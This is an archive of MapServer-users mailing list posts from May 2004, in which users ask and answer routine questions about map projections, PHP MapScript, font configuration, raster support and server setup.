Antel I+D









-------boundalter150977-- From selkiesdad at twcny.rr.com Thu May 27 03:07:39 2004 From: selkiesdad at twcny.rr.com (Andrew) Date: Thu, 27 May 2004 06:07:39 -0400 Subject: [Mapserver-users] Re: ogr broken perhaps? Problems with on-the-fly and other projections. References: <40B4CBB5.50904@twcny.rr.com> Message-ID: <40B5BDEB.9070302@twcny.rr.com> The coordinate shifts in the projected shape file after using ogr2ogr compared to the correct region settings are: original lon/lat (-75.860047, 44.050400) - (-74.525683, 45.015850) converted state plane (-406072.543743, -4299527.573525) - (-406071.208006, -4229526.607082) Ref map base state plane (312000.0, 2092000.0) - (390000.0, 2168000.0) lat lon comes from a UTM Zone 18N NAD83 GRS80 system (epsg:26918) state plane is NY East zone (epsg:32115) The projected shape file plots in the exact same location with the same size as the original lon/lat file if I change the associated PROJECTION block in the map file, so I assume the projection takes place. Andrew wrote: > I have been trying to get a latlong shapefile produced by the usgs > from a UTM dataset (grs80 nad83 zone 18N) to display on a raster layer > in NY State Plane East (epsg:32115) projection , map base projection > also set to epsg:32115. My failures have led me to reproject my data > manually using gdalwarp and ogr2ogr. I have confirmed the projections > by using ogrinfo, gdalinfo and by actively plotting the results. The > ogr utility (manual and on-the-fly) puts all my latlong points at > negative state plane coordinates at a very reduced scale and far off > "center" (by several region diameters). I have tried working with the > false eastings and northings, but with no luck. Gdal seems to get this > info (if it is needed) from the headers; rasters seem to project both > on the fly and manually, though I have to assemble more files and > templates to test this. > I have tried TRANSFORM=TRUE and =ON, no luck (which is it, by the way? > both appear on the doc sites and in postings) and evrything else I can > think of or have seen posted. > > There is an old reference to version 3.3(something) being broken in > this regard. > > Any insights? > > Mapserve CGI mapserver 4.02 compiled from source on LINUX i86 > Slackware kv 2.4.20 > > From bpicinbono at worldonline.fr Thu May 27 03:36:45 2004 From: bpicinbono at worldonline.fr (=?iso-8859-1?Q?bpicinbono@worldonline.fr?=) Date: Thu, 27 May 2004 12:36:45 +0200 Subject: [Mapserver-users] =?iso-8859-1?Q?Raster_with_FlashMapServer_solved?= Message-ID: I asked yesterday why I wasn?t able to output raster images in FlashMapServer interfaces. Well, I finally found out my mistake : I was trying to use an RGB raster image although I don?t have (yet) GDAL. So I converted it into a tiff color indexed image and set the PC256 parameter in the OUTPUTFORMAT section of the mapfile, and it?s ok, now ! (the debuging stuff ain?t that easy with Flash...). Bye Blaise ******ADSL Tiscali, le Haut d?bit au meilleur prix ****** Avec Tiscali, profitez de l'ADSL au meilleur prix partout en France ! Pour profiter de cette offre exceptionnelle, cliquez ici : http://register.tiscali.fr/adsl Sous r?serve d'?ligibilit? ? l'ADSL. From norbert.thieme at ilmenau.baw.de Thu May 27 05:30:09 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Thu, 27 May 2004 14:30:09 +0200 Subject: [Mapserver-users] How does one create .map files? In-Reply-To: <89E34224EAFDD411B6AD0002A529187F207521@stl-exchpo1-nt.nv.doe.gov> References: <89E34224EAFDD411B6AD0002A529187F207521@stl-exchpo1-nt.nv.doe.gov> Message-ID: <40B5DF51.70204@ilmenau.baw.de> Namnath, Sharyn schrieb: > Ok, I am so green at this I practically qualify as plant life... I got > through a few good tutorials and didn't die.. but now I am going to try > to use my own (well, ok, ESRI's) shapefiles and data. But how does one > go about creating .map files? By hand? Is there a utility? Also, I > just got some NIMA files which is part of the actual data that I'll be > using. There are also ADRG, CADRG, CIB, & DTED files that I will have > to contend with. Are there utilities out there for an easy conversion > to shapefiles? I will be receiving 3.5 Terabytes worth of data. I > would hate to have to create each .map file by hand... > > > > Thanks in advance for any help anyone can offer. > > > > - sharyn > Hi, I haven't looked at all the tools on the utilities page but there could be a helpful thing. Have a look at: http://mapserver.gis.umn.edu/contributed.html Regards, Norbert From joukje.de.haan at aris.nl Thu May 27 05:55:32 2004 From: joukje.de.haan at aris.nl (Joukje de Haan) Date: Thu, 27 May 2004 14:55:32 +0200 Subject: [Mapserver-users] querymap object in php/mapscript Message-ID: <40B5E544.1010403@aris.nl> Hello, I'd like to change the size of the querymap object using php. I can't find any info on the querymap object in the class reference. So I tried something like this: $qmap = $map->querymap; $qmap->width = 200; $qmap->height = 150; It doesn't give me any errors, but it doesn't have any effect either ;-) $map->drawQuery still returns an image of the size as it is written in the mapfile. Am I missing something? Thanks! Joukje de Haan. ______________________________________________________________ ARIS - Adviesburo voor Ruimtelijke Informatie Systemen Leeuwarderstraatweg 109 Tel. +31-(0)513-629981 8441 PK Heerenveen Fax. +31-(0)513-640567 The Netherlands Email Joukje.de.Haan at aris.nl Http://www.aris.nl _____________________________________________________________ From eduardo at consultoria.eti.br Thu May 27 06:04:01 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 27 May 2004 10:04:01 -0300 Subject: [Mapserver-users] How does one create .map files? In-Reply-To: <40B5DF51.70204@ilmenau.baw.de> References: <40B5DF51.70204@ilmenau.baw.de> Message-ID: <20040527130401.18894.qmail@hm47.locaweb.com.br> looking at http://mapserver.gis.umn.edu/contributed.html u will find some usefull tools like MapServer Workbench, MapLab, MapDesk and AveiN! There's MapEditor at http://software-dkplan.carlbro.dk/mapEditor/ given the amount of data you will have, a good choice could develop a routine to do that automatic/semi-automatic MapFiles generation using languages such as PHP, Python, C, etc... or even inside ArcGIS(if u use it) using VBA. best Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Thu, 27 May 2004 14:30:09 +0200, Norbert Thieme escreveu: > De: Norbert Thieme > Data: Thu, 27 May 2004 14:30:09 +0200 > Para: "Namnath, Sharyn" > Assunto: Re: [Mapserver-users] How does one create .map files? > > Namnath, Sharyn schrieb: > > Ok, I am so green at this I practically qualify as plant life... I got > > through a few good tutorials and didn't die.. but now I am going to try > > to use my own (well, ok, ESRI's) shapefiles and data. But how does one > > go about creating .map files? By hand? Is there a utility? Also, I > > just got some NIMA files which is part of the actual data that I'll be > > using. There are also ADRG, CADRG, CIB, & DTED files that I will have > > to contend with. Are there utilities out there for an easy conversion > > to shapefiles? I will be receiving 3.5 Terabytes worth of data. I > > would hate to have to create each .map file by hand... > > > > > > > > Thanks in advance for any help anyone can offer. > > > > > > > > - sharyn > > > > Hi, > > I haven't looked at all the tools on the utilities page but there could > be a helpful thing. Have a look at: > > http://mapserver.gis.umn.edu/contributed.html > > Regards, > Norbert > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From zak-ms at hoppsan.org Thu May 27 06:36:40 2004 From: zak-ms at hoppsan.org (Zak James) Date: Thu, 27 May 2004 09:36:40 -0400 Subject: [Mapserver-users] Text labels do not appear in PDF output In-Reply-To: <3E4215C93D3CE24D84A9FF385DF88D8702A086F8@afeb-ms-02> References: <3E4215C93D3CE24D84A9FF385DF88D8702A086F8@afeb-ms-02> Message-ID: I'm going on very hazy memory of this, but I think that the decision was taken to use truetype fonts in the pdf output to maintain consistency with maps rendered using gd (with freetype). Of course, that means that the fonts must be embedded as all but the 13 'standard' type 1 fonts must be in any pdf document. Pdflib does have mechanisms to reduce the size of embedded type by doing things like only including glyphs that exist in the document or mapping truetype fonts to standard type 1 equivalents. Unfortunately you would need to modify mappdf.c to change the default behaviour. You could also do post-processing of the pdf files to optimize them for size and render time; I think there are commercial software tools available specifically for that purpose. Maybe that's another solution if you don't want to modify the code. Since the mapserver pdf code is not receiving much attention, I think a lot of users have taken matters into their own hands for getting exactly the output they want. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On May 27, 2004, at 1:30 AM, Antti.Roppola at brs.gov.au wrote: > Dear all, > > Explicitly including label fonts (using FreeType) works in PDF > renders. Embedding the font is a pain though, as it doubles the > size of the page. It doesn't seem like I can use Type 1 fonts. > This is annoying since PDF readers don't need to have Type 1 fonts > included in documents. > > Cheers, > > Antti > > -----Original Message----- > From: Antti.Roppola at brs.gov.au [mailto:Antti.Roppola at brs.gov.au] > Sent: Wednesday, 26 May 2004 4:29 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Text labels do not appear in PDF output > > > Hello all, > > I am generating PDF maps using Mapserver (CGI 4.0.1 with > libpdf and freetype built in. Town names appear correctly > on the PNG output, but do not appear at all on the PDF output. > The point markers do appear.. I am not using True Type fonts, > or any kind of font declarations at all for that matter (just > size and colour). > > Any hints on how to get labels working in PDF? Do I need to > explicitly use fonts or something? (that's my next test) > > Thanks, > > Antti > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From rich at greenwoodmap.com Thu May 27 00:50:57 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Thu, 27 May 2004 07:50:57 +0000 Subject: [Mapserver-users] GRASS raster support Message-ID: <40B59DE1.2020706@greenwoodmap.com> I've run into a glitch displaying GRASS rasters in 4.0.1 and 4.2.0. Mapserver reports an error that the GRASS raster is not a valid EPPL file, so I recompiled --without-eppl but still no joy: drawEPP(): Image handling error. EPPL7 support is not available. How can I avoid drawEPP() and force GDAL to render? Regards, -- Richard Greenwood www.greenwoodmap.com From avartabedian at webservices.com.uy Thu May 27 07:17:45 2004 From: avartabedian at webservices.com.uy (Alejandro Vartabedian) Date: Thu, 27 May 2004 11:17:45 -0300 Subject: [Mapserver-users] AVL In-Reply-To: <20040507064818.6198.qmail@web41507.mail.yahoo.com> References: <20040507064818.6198.qmail@web41507.mail.yahoo.com> Message-ID: <40B5F889.1080401@webservices.com.uy> hello, i developed an avl with php-mapscript using gps hardware un the vehivle, cdpd for data transmission over internet, an xml socket as interface beetween the gps and my application. i'm making the final touchs for the client. it runs very well and fast (i developed a pseudo 'geo-cache' system) on a simple browser. i'm working too with a friend that work with flash in integrating it with a flash frontend using webservices. it means the capability to integrate it wiht lot of apps. now there is no preview, but comming soon. i am thinking make it open source but i have to make it economically sustentable too selling/licensing/supporting it in some way. suggests are wellcome :-) it is a little dilema, here in uruguay it's not easy to do those things, and i am an independent linux worker (oops i forgot say it's all linux based!) so my economical maintenance is the work i do. (this avl is not the only thing/product i do) well if you like to be updated on the online preview availability let me know. good luck, coding and mapping. pd: english is not my native language. vadivelan palanisamy wrote: > Dear lists, > > > I want to know anyone have used the mapserver for automated vehicle > location application. (user can see the vehicle (point) moving on the map). > > Any sample application is available for this. > > Thanks in advance. > > > P.Vadivelan > > > ****************** > Regards, > > P.Vadivelan > Chennai, India > ****************** > > ------------------------------------------------------------------------ > Do you Yahoo!? > Win a $20,000 Career Makeover at Yahoo! HotJobs > > From avartabedian at webservices.com.uy Thu May 27 07:44:49 2004 From: avartabedian at webservices.com.uy (Alejandro Vartabedian) Date: Thu, 27 May 2004 11:44:49 -0300 Subject: [Mapserver-users] PHP/Mapscript problems In-Reply-To: <00F1D25697A9094BA850427870FC5F051E816F@kwazulu.dataworld.co.za> References: <00F1D25697A9094BA850427870FC5F051E816F@kwazulu.dataworld.co.za> Message-ID: <40B5FEE1.1060403@webservices.com.uy> well, today i started to inspect the tons of mails archived in this list folder, i'm subscribed to many, and i think its a good opportunity to start contributing. uagn, phpmapscript until i know runs as cgi only and turck-mmcache don't support cgi. i can't help you with iis because i use apache. in apache i run .php files with the php module engine, and an arbitrary .phmap extension with the cgi php-mapscript version. it's is easy to do in apache. perhaps in mapserver website there is a howto for iis, try the mapserver-wiki. good luck! Ugan wrote: > Hey, > > > > I?m trying to install PHP 4, PHP/MapScript 4.0.2 and MapServer 4.0.2 so that I can use MapLab 2.1-rc3. But (as per normal!) I got a few problems: > > > > 1. When I try to run .php files in certain directories I get the following error message box: > > ?[Turck MMCache] Can not create shared memory area]? > > I have already set up those directories using my IIS. Any idea how can solve this? > > > > 2. Can anyone tell me how to properly edit your web server configuration to allow access to > > /maplab-2.0-RC4/... and make sure that index.phtml pages are allowed as default pages (as per Installing MapLab in Windows install instructions? > > > > 3. PHP doesn?t run .phtml files. I have already tried to add .php and .phtml extensions to the Configuration/Application Mapping section in my IIS (as per MapServer PHP/MapScript Installation [http://mapserver.gis.umn.edu/doc/phpmapscript-install-howto.html#example]. Any clues here? > > > > > > Your help is SO welcome. Thanks a lot. > > > From denlalonde at yahoo.com Thu May 27 07:48:15 2004 From: denlalonde at yahoo.com (Denis Lalonde) Date: Thu, 27 May 2004 07:48:15 -0700 (PDT) Subject: [Mapserver-users] Windows Server 2003 - French Edition Message-ID: <20040527144815.411.qmail@web41606.mail.yahoo.com> --0-1697410112-1085669295=:99657 Content-Type: text/plain; charset=us-ascii Hello all, I'm migrating a Mapserver app (PHP Mapscript) to a server running a french version of Windows Server 2003 tomorrow. Anybody know if I'll get any nasty surprises? (i.e. will it work?) Thanks again, Denis Denis Lalonde DBx GEOMATICS Inc. 37 St-Joseph Boul, floor 2 Gatineau, QC, J8Y 3V8 ( 819-772-2000 x23 2 819-772-2001 * dl at dbxgeomatics.com http://www.dbxgeomatics.com --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-1697410112-1085669295=:99657 Content-Type: text/html; charset=us-ascii
Hello all,
 
I'm migrating a Mapserver app (PHP Mapscript) to a server running a french version of Windows Server 2003 tomorrow.
 
Anybody know if I'll get any nasty surprises? (i.e. will it work?)
 
Thanks again,
Denis
 

Denis Lalonde

DBx GEOMATICS Inc.

37 St-Joseph Boul, floor 2

Gatineau, QC, J8Y 3V8

(    819-772-2000 x23

2     819-772-2001

* dl at dbxgeomatics.com

http://www.dbxgeomatics.com


Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger --0-1697410112-1085669295=:99657-- From andiehumpy at hotmail.com Thu May 27 07:58:05 2004 From: andiehumpy at hotmail.com (andre shue) Date: Thu, 27 May 2004 14:58:05 +0000 Subject: [Mapserver-users] selection hilite_ basic question Message-ID:
Hi Steve and List,
I am pretty new and unexperienced to the MS, it might be a stupid quest... anyway, I got the demo running, changed some layers, but when selecting a polygon via itemquery I am not sure. I can do an attribut search and also get  results via template [area] [name]  yet no map. I know I can get a map via querymap, but could not go any further on this.   
I dont know how to build up an template with a map,  including the selected polygon marked and in the centre of the map.... 
 As the where any examples I would be happy.
As you have any hints, please remember, I am a Geographer and low level programmer.
Thanks a lot.
 

Andreas
 
PS. Another question is, is there a list of the complete template and map commands, I got the feeling there are some more commands, than I could find via the Mapserver homepage.
 
Thanks anyway to the great developers of mapserver
 
---------------------------------------------------------------------------------------------------------
Here is the template and the map.
 

<!-- START OF MAPSERVER FORM -->
<form name="mapserv" method="GET" action="mapserv.exe">
 
<table width="400" border="0" align="center">
  <tr>
    <td>
 <p align="center"><font face="Arial Narrow">&nbsp; </font>
    <font face="Arial Narrow" size="6">Muldentalkreis MS
    Test</font></p>
 <p>&nbsp;</p>
 <table width="466" border="1">
   <tr>
     <td width="211">
 
<!-- SPECIFY MAP MODE -->
       Attribut eingeben<b> (Achtung!!! Mapmode = Attributabfrage)</b><div align="center">
<input type="TEXT"  size= "30" name= "qstring" value=""><input type="submit" value="ENTER"></div>
       <div align="center">&nbsp;</div>
       <div align="center">&nbsp;</div>
       <div align="center">Map Mode:<br>
  <select name="mode">
    <option value="browse" [browse_select]>Browse</option>
    <option value="query" [query_select]>Abfrage</option>
     <option value="itemquery" [itemquery_select]>Attributabfrage</option>
 
  </select>
       </div>
     </td>
     <td width="77">
<!-- FORM SUBMIT BUTTON -->
       <div align="center">
  <input type="submit" name="submit" value="Refresh">
       </div>
     </td>
     <td width="156">
 
 
 

<!-- ZOOM/PAN CONTROLS -->
       <div align="center">Map Control: <br>
                <select name="zoom">
                  <option value="4" [zoom_4_select]>Zoom In 4x</option>
                  <option value="3" [zoom_3_select]>Zoom In 3x</option>
                  <option value="2" [zoom_2_select]>Zoom In 2x</option>
                  <option value="1" [zoom_1_select]>Recenter</option>
                  <option value="-2" [zoom_-2_select]>Zoom Out 2x</option>
                  <option value="-3" [zoom_-3_select]>Zoom Out 3x</option>
                  <option value="-4" [zoom_-4_select]>Zoom Out 4x</option>
                </select>
              </div>
     </td>
   </tr>
   <tr>
  
  
<!-- DISPLAY THE MAPSERVER-CREATED MAP IMAGE -->
     <td colspan="3" align="center" valign="top" width="390">
       <input type="image" name="img" src="[img]" width="[mapwid th]" height="[mapheight]">
     </td>
   </tr>
 </table>
   </td>
  </tr>
</table>
 
<!-- Attributabfrage -->
&nbsp;
 

<!-- HIDDEN MAPSERVER CGI VARIABLES -->
<input type="hidden" name="imgxy" value="[center]">
<input type="hidden" name="imgext" value="[mapext]">
<input type="hidden" name="map" value="[map]">
<input type="hidden" name="root" value="[root]">
<input type="hidden" name="savequery" value="true">
<input type="hidden" name="qlayer" value="mtl">
<input type="hidden" name="qitem" value="GEMEINDE"
 
 
 
</form>
</body>
</html>
 
 ----------------------------------------------------------------------------------------------------------------
MAP
  IMAGETYPE PNG
  EXTENT 4528581.187561 5713247.167603 4573608.666901 5651344.554810
  SIZE 750 750
  SHAPEPATH "data"
  IMAGECOLOR 255 255 255
 

QUERYMAP
  SIZE 600 600
  STATUS OFF
  STYLE HILITE
  COLOR 23 35 24
END
 
 
 
WEB
  TEMPLATE  'test.html'
  IMAGEPATH 'tmp/'
  IMAGEURL  'tmp/'
END
 

 LAYER
  NAME mtl
  TYPE POLYGON
  DATA mtl
  PROJECTION
    proj=tmerc
    lat_0=0.000000000
    lon_0=12.000000000
    k=1.000000
    x_0=4500000.000
    y_0=0.000
    ellps=bessel
    units=m
    no_defs
END        #line114
  STATUS DEFAULT
  CLASSITEM 'GEMEINDE'
  LABELITEM 'GEMEINDE'
  #LABELMINSCALE 80000 
  CLASS
    NAME "GEMEINDE"
    EXPRESSION  /./
    OUTLINECOLOR 0 0 0
    COLOR 255 255 217
    LABEL
END
  TEMPLATE "mtl.html"
  END
  HEADER "mtl_header.html"
  FOOTER "mtl_footer.html"
 

END
---------------------------------------------------------------------------------------------------





MSN 8 helps ELIMINATE E-MAIL VIRUSES. Get 2 months FREE*. From Scot at Wilcoxon.Org Thu May 27 08:04:32 2004 From: Scot at Wilcoxon.Org (Scot Wilcoxon) Date: 27 May 2004 10:04:32 -0500 Subject: [Mapserver-users] MapServerErrors Wiki Message-ID: <1085670272.3074.14.camel@localhost.localdomain> I created a MapServerErrors page in the MapServers Wiki in an attempt to provide a starting point for problem resolution. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapServerErrors From Chip.Hankley at rmtinc.com Thu May 27 08:10:35 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Thu, 27 May 2004 10:10:35 -0500 Subject: [Mapserver-users] virtual spatial data Message-ID: >...but I haven't tested with either IIS or MS SQL >Server so you are right on the bleeding edge. I'm actually using an MS Access database. >Is your ODBC DSN a System DSN? User DSNs don't >work. System > If you can set the CPL_DEBUG environment variable > to ON, OGR will provide you with more information > about what is succeeding and what is failing. I'm only > familiar with doing that via apache, however. I'll look into that. Anyone ever set this on IIS? > Is it possible for either of you to test using different > ODBC drivers (perhaps to a different db) ...no doubt I'll keep playing. With respect to MS version, is there anyway to figure out which version of GDAL the exe was compiled with? Thanks for the help! Chip Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From Scot at Wilcoxon.Org Thu May 27 08:11:45 2004 From: Scot at Wilcoxon.Org (Scot Wilcoxon) Date: 27 May 2004 10:11:45 -0500 Subject: [Mapserver-users] Both GDAL and TIFF problems? Message-ID: <1085670705.3074.22.camel@localhost.localdomain> I've seen mention of problems with having both GDAL and TIFF defined during configuration. What are the problems and are there workarounds? I'm getting a 500 Internal Server Error from tutorial 1-5, but that is all the info I have. I see mapserv -v says I have GDAL and TIFF compiled, but I don't know how to determine if that is the source of my problem. I see there already is a related Bugzilla entry, so I won't make another report there. From TMitchell at lignum.com Thu May 27 08:14:44 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 27 May 2004 08:14:44 -0700 Subject: RES: [Mapserver-users] Map interpolation In-Reply-To: <000001c4429c$1910cf80$1364a8c0@parapente> Message-ID: You may also want to check out GMT (global mapping tools) - there seems to be talk on there about building contours which may help you. I don't have the web site handy though. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/25/2004 06:06:00 PM: > Hi again, > > I looked at the openEV documentation and apparently openEV only does > interpolation for raster images... > Frank, do you know a way or a tool that does the automatic > generalization of the shape files (vector data)? > And I searched at the google, I couldn't find a tool that would do > interpolation with vector data as input... I'm beginning to think that > there is no such thing... > Thanks, > Murilo > > -----Mensagem original----- > De: Murilo Lacerda Yoshida [mailto:murilo.yoshida at agx.com.br] > Enviada em: sexta-feira, 21 de maio de 2004 17:23 > Para: 'Frank Warmerdam'; (mapserver-users at lists.gis.umn.edu); 'Tyler > Mitchell' > Assunto: RES: [Mapserver-users] Map interpolation > > Frank, Tyler, > What I want to do is this automatic generalization of vector data. > Actually the best solution would be to generate a raster data from a > vector data. > I have a map with several polygons. Each polygon has a data associated > with it, population, for example. I guess that to do the raster data > from vector data I would have to size down my polygons, until they had > the size of a pixel, but that would have too much cost, since the > polygons I have on the map are created dynamically... > I don't know if openEV has this kind of stuff implemented... it would > be of great help... > Anyway, if I could stop the process of sizing down the polygons before > they reached the pixel size I guess that would be nice too. > Thanks, > Murilo > > > -----Mensagem original----- > De: Frank Warmerdam [mailto:warmerdam at pobox.com] > Enviada em: quinta-feira, 20 de maio de 2004 01:41 > Para: murilo.yoshida at agx.com.br > Assunto: Re: [Mapserver-users] Map interpolation > > Murilo Lacerda Yoshida wrote: > > Hi all, > > > > > > > > I wanted to know if mapserver does map interpolation. If not, do you > > > know a open source tool that does it? > > Murilo, > > "Map interpolation" is a pretty general term in my opinion. What > exactly > are you looking for? Automatic generalization of vector data? Smooth > interpolation of raster data during oversampling? > > Best regards, > > -- > ---------------------------------------+-------------------------------- > ------ > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette at dmsolutions.ca Thu May 27 08:12:48 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 27 May 2004 11:12:48 -0400 Subject: [Mapserver-users] querymap object in php/mapscript In-Reply-To: <40B5E544.1010403@aris.nl> References: <40B5E544.1010403@aris.nl> Message-ID: <40B60570.2060006@dmsolutions.ca> Joukje de Haan wrote: > Hello, > > I'd like to change the size of the querymap object using php. I can't > find any info on the querymap object in the class reference. So I tried > something like this: > > $qmap = $map->querymap; > $qmap->width = 200; > $qmap->height = 150; > > It doesn't give me any errors, but it doesn't have any effect either ;-) > $map->drawQuery still returns an image of the size as it is written in > the mapfile. Am I missing something? > You have to use the set() method to set any class member variables in PHP MapScript: $qmap->set("width", 200); $qmap->set("height", 150); Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From ealpert at digitalglobe.com Thu May 27 08:19:05 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Thu, 27 May 2004 09:19:05 -0600 Subject: [Mapserver-users] mapserver for phones / wireless Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C36@COMAIL01.digitalglobe.com> Well I finally sat down to work through some things with my PDA. It was not pretty my palm OS 5.2's stock browser is a POS wrt javascript. Furthermore it only supports jpeg and gif. I have not been able to get any of the javascript driven examples to work *yet*. The weirdness of the javascript leads me to believe that javascript should not be used in handheld displays and php mapscript or perl mapscript is the way to go. That's it for now. -e PS) my tungsten C's 320x320 display does a pretty good job. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Ethan Alpert Sent: Tuesday, May 25, 2004 12:52 PM To: Brian Russo; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] mapserver for phones / wireless Funny you should ask this...I just got a Tungsten C and have been planning on working a mapserver display for it. My first attempt to just browse the variations of the itasca demo on it failed. My PDA does support javascript so I thought I'd be find but there are some path problems. For instance it's looking for the itasca_dhtml.html file in /cgi-bin/ which is odd. Only had this thing a week but am planning on getting into it a bit more as eventually there may be some PDA applications for my work. What have you tried? -ethan -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Brian Russo Sent: Tuesday, May 25, 2004 11:51 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] mapserver for phones / wireless Anyone here used mapserver or otherwise done anything with maps on phones/pdas before? I know I asked this a while ago, but never got any response, trying again. cheers, - bri -- Recursivity. Call back if it happens again. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From marcelito20 at hotmail.com Thu May 27 08:37:29 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Thu, 27 May 2004 10:37:29 -0500 Subject: [Mapserver-users] CONFIGURING TRUE TYPE FONTS WITH PHPMAPSCRIPT Message-ID: <40B60B39.000003.02744@BECARIO1> --------------Boundary-00=_H2QDG6G0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_H2QDBHK0000000000000" --------------Boundary-00=_H2QDBHK0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, folks:=0D =0D =0D I'm developing a web mapping application of Quito streets, but I couldn't make the streets' names (labels) show with the correct angle. I'm getting this message in server's log file:=0D =0D [Tue May 25 12:53:29 2004] [error] [client 127.0.0.1] PHP Warning:=20 [MapServer Error]: msGetLabelSize(): Could not find/open font, referer: http://mysever/quito/php/QuitoMain.php=0D =0D Here's my layer config:=0D =2E..=0D FONTSET "D:/Archivos de programa/Apache Group/Apache2/htdocs/quito/fonts/fonts.list"=0D =2E..=0D LAYER=0D NAME "CALLES"=0D GROUP "Ciudad"=0D STATUS ON=0D DATA "CALLES_84_3_text"=0D TYPE ANNOTATION=0D MINSCALE 1000=0D MAXSCALE 150000=0D #CLASSITEM "Textstring"=0D LABELITEM "Textstring"=0D LABELANGLEITEM "Text_angle"=0D LABELSIZEITEM "Text_size"=0D =0D CLASS=0D LABEL=0D COLOR 132 31 31=0D SHADOWCOLOR 218 218 218=0D SHADOWSIZE 2 2=0D TYPE truetype=0D FONT arial=0D SIZE 14=0D ANTIALIAS TRUE=0D #POSITION CL=0D #PARTIALS FALSE=0D #MINDISTANCE 300=0D # BUFFER 4=0D END # end of label=0D =0D END #end of class=0D END #end of layer=0D =0D Could someone help me?=0D I appreciate any help...=0D =0D =0D Marcelo Ismael Carrillo Est=E9vez=0D BAYTEQ C=EDa. Ltda.=0D 09-8145939=0D =0D There are 10 kind of people, those who understand binaries and those who = don`t!! --------------Boundary-00=_H2QDBHK0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi folks:
 
Does anyone knows how to show angleled= labels in an annotation layer, I'm having this error message:
 
msGetLabelSize(): TrueType Font error. Could not find/open font
=
The fonts.list file is fine, and is in the same folder of the  = fonts files...
 
What could I do?
 
___________________________________= ______________________________
<= A href=3D"http://www.incredimail.com/redir.asp?ad_id=3D310&lang=3D10"= >3D""  IncrediMail - El Email= ha evolucionado finalmente - Haga clic aqu=ED
<= /BODY> --------------Boundary-00=_73H4WCW0000000000000-- --------------Boundary-00=_73H412S0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_73H412S0000000000000-- From pablo_vtn at hotmail.com Sat May 22 09:42:21 2004 From: pablo_vtn at hotmail.com (Pablo) Date: Sat, 22 May 2004 17:42:21 +0100 Subject: [Mapserver-users] Fax Message Received Message-ID: 